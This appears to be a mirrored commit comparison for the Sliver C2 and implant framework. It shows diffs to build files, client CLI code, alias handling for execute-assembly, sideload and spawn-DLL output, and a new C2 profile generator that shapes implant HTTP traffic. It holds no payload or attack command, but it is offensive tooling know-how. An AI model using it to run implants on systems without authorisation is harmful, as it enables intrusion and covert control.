mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
205
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f0113655ce | ||
|
|
31265c626b | ||
|
|
e2603ac3ae | ||
|
|
7acbed9637 | ||
|
|
20786fa6fb | ||
|
|
03c750a8b5 | ||
|
|
4da8c6053f | ||
|
|
a43061c61b | ||
|
|
11dc6bac4d | ||
|
|
7d5a886397 | ||
|
|
77aef8179d | ||
|
|
69e7c8ce71 | ||
|
|
82e294e3ef | ||
|
|
ccf3701011 | ||
|
|
e4b64e1050 | ||
|
|
0b8f702aa0 | ||
|
|
8caf90536b | ||
|
|
50e7d89576 | ||
|
|
fe5e9382d7 | ||
|
|
934c01f08d | ||
|
|
4ced15e528 | ||
|
|
3c151ed172 | ||
|
|
dd09895d7e | ||
|
|
3dd2b2ddce | ||
|
|
e4027d6373 | ||
|
|
7e880d33c7 | ||
|
|
356b17160e | ||
|
|
9a9b0c74ba | ||
|
|
dbde661d90 | ||
|
|
8904267cad | ||
|
|
c58cb2d4e7 | ||
|
|
cf971ea599 | ||
|
|
71c922c914 | ||
|
|
3607b526f0 | ||
|
|
1c87e8134c | ||
|
|
2a849312cc | ||
|
|
127caf54ae | ||
|
|
5902f4b02d | ||
|
|
40dfa95291 | ||
|
|
b8cef5fbd6 | ||
|
|
eed6890700 | ||
|
|
36e0c71b10 | ||
|
|
1bf020c594 | ||
|
|
072111a692 | ||
|
|
2cd7a96324 | ||
|
|
d8ff64222d | ||
|
|
0deaee625d | ||
|
|
bdfd89167d | ||
|
|
6b35032c0e | ||
|
|
8bf4f8ef02 | ||
|
|
7676fc6c37 | ||
|
|
d2ff8dca46 | ||
|
|
9c3d7abff5 | ||
|
|
4df4e21255 | ||
|
|
3fdde93255 | ||
|
|
65a7faebd5 | ||
|
|
c3b0909be0 | ||
|
|
641361d7c3 | ||
|
|
4a149f073a | ||
|
|
ba43b3fd4b | ||
|
|
5c2314702b | ||
|
|
3051de7a61 | ||
|
|
1abf8e54c3 | ||
|
|
93624cdb2d | ||
|
|
a7c6ea1f43 | ||
|
|
f23093c3a9 | ||
|
|
6f4a150d82 | ||
|
|
6790cd1647 | ||
|
|
05408ef4ea | ||
|
|
2bc3fe8a57 | ||
|
|
015942a1e4 | ||
|
|
321da76fd9 | ||
|
|
2407b4dd2e | ||
|
|
ea06daa5ac | ||
|
|
f67b08768d | ||
|
|
d0e5fbb680 | ||
|
|
6dd56bbfd5 | ||
|
|
8f15f896ac | ||
|
|
a0706ffc1f | ||
|
|
550700de98 | ||
|
|
652d960d59 | ||
|
|
292f41c665 | ||
|
|
ef324e8b9d | ||
|
|
a405ae8f20 | ||
|
|
222cc3437b | ||
|
|
fdeca972bd | ||
|
|
69bcf72e80 | ||
|
|
d60dd6a5a0 | ||
|
|
8737bba4c3 | ||
|
|
97716d2b9e | ||
|
|
844a6f8d25 | ||
|
|
b6f2c1b4bb | ||
|
|
c6397918c6 | ||
|
|
848704eb3c | ||
|
|
c3571b001a | ||
|
|
53449c1a83 | ||
|
|
cf6682dff7 | ||
|
|
2a1453ee37 | ||
|
|
a9f06fc299 | ||
|
|
5839c59682 | ||
|
|
860810c148 | ||
|
|
d92f079f97 | ||
|
|
4315a3fce3 | ||
|
|
5d142acb86 | ||
|
|
0ee50c3150 | ||
|
|
c0840eb9d6 | ||
|
|
8b3e3cd6ab | ||
|
|
ffd2fa6e8b | ||
|
|
130b5f9706 | ||
|
|
549a54cf4b | ||
|
|
e2d11c40dd | ||
|
|
9749cd8e58 | ||
|
|
4082378313 | ||
|
|
df65d7fe11 | ||
|
|
99ce1cfb7a | ||
|
|
5f2abac8d0 | ||
|
|
f265214006 | ||
|
|
23bdc7053d | ||
|
|
9510a5f0c1 | ||
|
|
72ea11790f | ||
|
|
d651e0888f | ||
|
|
f2bb628883 | ||
|
|
8e5ff45306 | ||
|
|
9dbd5a1c92 | ||
|
|
6115702268 | ||
|
|
ed1739c8d2 | ||
|
|
88da1fe868 | ||
|
|
b520eaf6e6 | ||
|
|
635086364e | ||
|
|
4bfdb7bcee | ||
|
|
7e4ba5d3e7 | ||
|
|
c642bfcacb | ||
|
|
a424412edd | ||
|
|
4d15774c9b | ||
|
|
51c45a48e8 | ||
|
|
94f01c8230 | ||
|
|
0307bf16eb | ||
|
|
1a73128163 | ||
|
|
eff371f6b7 | ||
|
|
3a48d8480e | ||
|
|
5cd83392e0 | ||
|
|
fffaca3945 | ||
|
|
fae797eff0 | ||
|
|
64a7095f5f | ||
|
|
82909ad1d9 | ||
|
|
e2e9bc18dc | ||
|
|
5bed9d4e90 | ||
|
|
60e87f9e08 | ||
|
|
d4c37f45d2 | ||
|
|
79d22bafbf | ||
|
|
6396a64878 | ||
|
|
fb1e59ef5a | ||
|
|
335797e661 | ||
|
|
d767bd019c | ||
|
|
590f9c3f96 | ||
|
|
cff899aa49 | ||
|
|
ca2dc9d267 | ||
|
|
afdd77c642 | ||
|
|
8a5970c3da | ||
|
|
2eb2ac8121 | ||
|
|
daf7d404b1 | ||
|
|
3b308920f4 | ||
|
|
c73b183f74 | ||
|
|
7564312f5e | ||
|
|
6134b78afb | ||
|
|
a1318f1061 | ||
|
|
3db9946608 | ||
|
|
ef09058498 | ||
|
|
9543951747 | ||
|
|
331faeb8ef | ||
|
|
0926339482 | ||
|
|
4ae195e3eb | ||
|
|
f8f8ba5864 | ||
|
|
7f60e133dc | ||
|
|
216e3b9759 | ||
|
|
ba3893980d | ||
|
|
363f59d276 | ||
|
|
f1bc5074f9 | ||
|
|
5083faa1e1 | ||
|
|
1b5d3436eb | ||
|
|
56303eb89a | ||
|
|
9397fcb4ae | ||
|
|
04c6c3f800 | ||
|
|
7842a6c4c6 | ||
|
|
6c815a4432 | ||
|
|
81358e31bb | ||
|
|
7bea772dbd | ||
|
|
0b235b4d42 | ||
|
|
1402a75b18 | ||
|
|
ff5e4a4a24 | ||
|
|
e59c90c89a | ||
|
|
49771f0159 | ||
|
|
a2808b19f6 | ||
|
|
eddfb7073c | ||
|
|
930799495c | ||
|
|
5016fb8d7c | ||
|
|
65382f7b77 | ||
|
|
c1d00f0e48 | ||
|
|
e89280d64a | ||
|
|
aa4c9d7b8a | ||
|
|
2be820daf1 | ||
|
|
0a44fde9fa | ||
|
|
151dfe2643 | ||
|
|
fa7033f0c4 | ||
|
|
7fe0b295f5 |
No files matched your search
+3
-3
@@ -9,7 +9,7 @@
|
||||
|
||||
# STAGE: base
|
||||
## Compiles Sliver for use
|
||||
FROM golang:1.22.2 as base
|
||||
FROM golang:1.22.5 AS base
|
||||
|
||||
### Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
@@ -29,7 +29,7 @@ RUN cp -vv sliver-server /opt/sliver-server
|
||||
# STAGE: test
|
||||
## Run unit tests against the compiled instance
|
||||
## Use `--target test` in the docker build command to run this stage
|
||||
FROM base as test
|
||||
FROM base AS test
|
||||
|
||||
RUN apt-get update --fix-missing \
|
||||
&& apt-get -y upgrade \
|
||||
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
|
||||
|
||||
# STAGE: production
|
||||
## Final dockerized form of Sliver
|
||||
FROM debian:bookworm-slim as production
|
||||
FROM debian:bookworm-slim AS production
|
||||
|
||||
### Install production packages
|
||||
RUN apt-get update --fix-missing \
|
||||
|
||||
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
@@ -47,7 +47,7 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6).
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
|
||||
@@ -35,7 +35,7 @@ type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
Method string `json:"method"`
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
|
||||
+6
-4
@@ -24,8 +24,8 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -34,8 +34,6 @@ const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging.
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
@@ -48,6 +46,10 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
@@ -90,7 +92,7 @@ var rootCmd = &cobra.Command{
|
||||
// Execute - Execute root command.
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
fmt.Printf("root command: %s\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
+37
-4
@@ -1,7 +1,27 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
@@ -10,6 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners.
|
||||
@@ -20,7 +41,6 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
@@ -28,9 +48,6 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
@@ -56,6 +73,9 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wait for any connection state changes and exit if the connection is lost.
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
}
|
||||
|
||||
@@ -70,3 +90,16 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
|
||||
|
||||
return pre, post
|
||||
}
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
+19
-1
@@ -1,5 +1,23 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
@@ -24,7 +42,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
// Pre-runners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -57,7 +58,7 @@ var (
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"linux": linuxDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
@@ -85,12 +86,13 @@ type AliasManifest struct {
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
@@ -105,7 +107,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
@@ -239,6 +241,13 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
}
|
||||
|
||||
if alias.Schema != nil {
|
||||
if !packages.IsValidSchemaType(alias.Schema.Name) {
|
||||
return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
|
||||
}
|
||||
alias.Schema.IngestColumns()
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
@@ -387,11 +396,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
@@ -426,11 +435,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
@@ -466,18 +475,44 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getOutputWithSchema(schema *packages.OutputSchema, result string) string {
|
||||
if schema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
outputSchema := packages.GetNewPackageOutput(schema.Name)
|
||||
if outputSchema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
return outputSchema.CreateTable()
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, spawnDllResp.GetResult())
|
||||
} else {
|
||||
result = spawnDllResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.WriteString(spawnDllResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
@@ -485,8 +520,17 @@ func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFil
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command.
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, sideloadResp.GetResult())
|
||||
} else {
|
||||
result = sideloadResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.WriteString(sideloadResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
@@ -494,8 +538,17 @@ func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFil
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command.
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
|
||||
} else {
|
||||
result = string(execAsmResp.GetOutput())
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
@@ -21,8 +21,13 @@ package c2profiles
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -154,7 +159,13 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := C2ConfigToJSON(profileName, profile)
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -169,8 +180,96 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.Println(profileName, "C2 profile exported to ", filepath)
|
||||
}
|
||||
|
||||
func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
// load template to use as starting point
|
||||
template, err := cmd.Flags().GetString("template")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
var extensions []string
|
||||
for _, c2profile := range c2Profiles.Configs {
|
||||
confProfile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: c2profile.Name})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StagerFileExtension)
|
||||
extensions = append(extensions, confProfile.ImplantConfig.StartSessionFileExtension)
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// read urls files and replace segments
|
||||
filepath, err := cmd.Flags().GetString("file")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
urlsFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileContent, err := io.ReadAll(urlsFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(extensions, config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// save or display config
|
||||
importC2Profile, err := cmd.Flags().GetBool("import")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if importC2Profile {
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(profile, con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
@@ -193,6 +292,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
|
||||
})
|
||||
}
|
||||
implantConfig.Headers = headers
|
||||
@@ -259,6 +359,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -278,12 +379,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
ServerConfig: serverConfig,
|
||||
}
|
||||
|
||||
jsonConfig, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return jsonConfig, nil
|
||||
return &config, nil
|
||||
}
|
||||
|
||||
// convert json to protobuf
|
||||
@@ -359,6 +455,15 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
})
|
||||
}
|
||||
|
||||
for _, clientHeader := range config.ImplantConfig.Headers {
|
||||
httpC2Headers = append(httpC2Headers, &clientpb.HTTPC2Header{
|
||||
Method: clientHeader.Method,
|
||||
Name: clientHeader.Name,
|
||||
Value: clientHeader.Value,
|
||||
Probability: int32(clientHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
implantConfig := &clientpb.HTTPC2ImplantConfig{
|
||||
UserAgent: config.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
|
||||
@@ -381,14 +486,12 @@ func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *client
|
||||
// Server Config
|
||||
serverHeaders := []*clientpb.HTTPC2Header{}
|
||||
for _, serverHeader := range config.ServerConfig.Headers {
|
||||
for _, method := range serverHeader.Methods {
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
|
||||
Method: serverHeader.Method,
|
||||
Name: serverHeader.Name,
|
||||
Value: serverHeader.Value,
|
||||
Probability: int32(serverHeader.Probability),
|
||||
})
|
||||
}
|
||||
|
||||
serverCookies := []*clientpb.HTTPC2Cookie{}
|
||||
@@ -431,7 +534,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
|
||||
var serverHeaders []string
|
||||
for _, header := range profile.ServerConfig.Headers {
|
||||
serverHeaders = append(serverHeaders, header.Value)
|
||||
serverHeaders = append(serverHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Server Headers",
|
||||
